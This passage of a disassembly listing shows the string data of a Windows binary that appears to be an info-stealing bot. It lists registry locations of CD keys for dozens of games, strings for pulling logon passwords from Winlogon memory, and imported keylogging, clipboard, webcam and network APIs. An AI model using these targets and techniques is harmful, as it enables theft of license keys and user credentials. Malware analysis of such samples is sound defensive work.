		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: _2:004312F0o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: _2:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: _2:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413643o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_5		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
aUserdomain:				; DATA XREF: sub_409037+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_409037+CEo
		unicode	0, <USERNAME>,0
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
					; _6:off_4A1BE8o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
					; _2:0042FA44o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
					; _2:0042FE54o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll_1	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
